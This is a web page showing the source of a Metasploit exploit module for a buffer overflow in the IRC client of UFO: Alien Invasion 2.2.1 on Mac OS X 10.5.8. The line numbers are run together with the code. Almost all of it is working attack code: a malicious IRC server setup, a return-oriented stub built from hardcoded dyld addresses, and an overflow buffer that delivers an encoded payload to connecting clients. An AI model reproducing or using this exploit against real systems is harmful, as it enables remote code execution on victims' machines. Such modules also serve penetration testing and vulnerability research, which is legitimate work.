Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/osx/misc/ufo_ai.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = AverageRanking78include Msf::Exploit::Remote::TcpServer910def initialize(info = {})11super(update_info(info,12'Name' => 'UFO: Alien Invasion IRC Client Buffer Overflow',13'Description' => %q{14This module exploits a buffer overflow in the IRC client component15of UFO: Alien Invasion 2.2.1.16},17'Author' =>18[19'Jason Geffner', # Original Windows PoC Author20'dookie' # OSX Exploit Author21],22'License' => MSF_LICENSE,23'References' =>24[25[ 'OSVDB', '65689' ],26[ 'EDB', '14013' ]27],28'Payload' =>29{30'Space' => 400,31'BadChars' => "\x00\x0a\x0d",32'MaxNops' => 0,33'StackAdjustment' => -3500,34},35'Platform' => 'osx',36'Targets' =>37[38[ 'Mac OS X 10.5.8 x86, UFOAI 2.2.1',39{40'Arch' => ARCH_X86,41'Offset' => 524,42'Writable' => 0x8fe66448, # dyld __IMPORT43# The rest of these addresses are in dyld __TEXT44'setjmp' => 0x8fe1cf38,45'strdup' => 0x8fe210dc,46'jmp_eax' => 0x8fe0104147}48]49],50'DefaultTarget' => 0,51'DisclosureDate' => '2009-10-28'))5253register_options(54[55OptPort.new('SRVPORT', [ true, "The IRC daemon port to listen on", 6667 ]),56])57end585960def make_exec_payload_from_heap_stub()61frag0 =62"\x90" + # nop63"\x58" + # pop eax64"\x61" + # popa65"\xc3" # ret6667frag1 =68"\x90" + # nop69"\x58" + # pop eax70"\x89\xe0" + # mov eax, esp71"\x83\xc0\x0c" + # add eax, byte +0xc72"\x89\x44\x24\x08" + # mov [esp+0x8], eax73"\xc3" # ret7475setjmp = target['setjmp']76writable = target['Writable']77strdup = target['strdup']78jmp_eax = target['jmp_eax']7980exec_payload_from_heap_stub =81frag0 +82[setjmp].pack('V') +83[writable + 32, writable].pack("V2") +84frag1 +85"X" * 20 +86[setjmp].pack('V') +87[writable + 24, writable, strdup, jmp_eax].pack("V4") +88"X" * 489end909192def on_client_connect(client)9394print_status("Got client connection...")9596offset = target['Offset']9798buffer = "001 :"99buffer << rand_text_alpha_upper(offset)100buffer << make_exec_payload_from_heap_stub()101buffer << make_nops(16)102buffer << payload.encoded103buffer << "\x0d\x0a"104105print_status("Sending exploit to #{client.peerhost}:#{client.peerport}...")106client.put(buffer)107108end109end110111112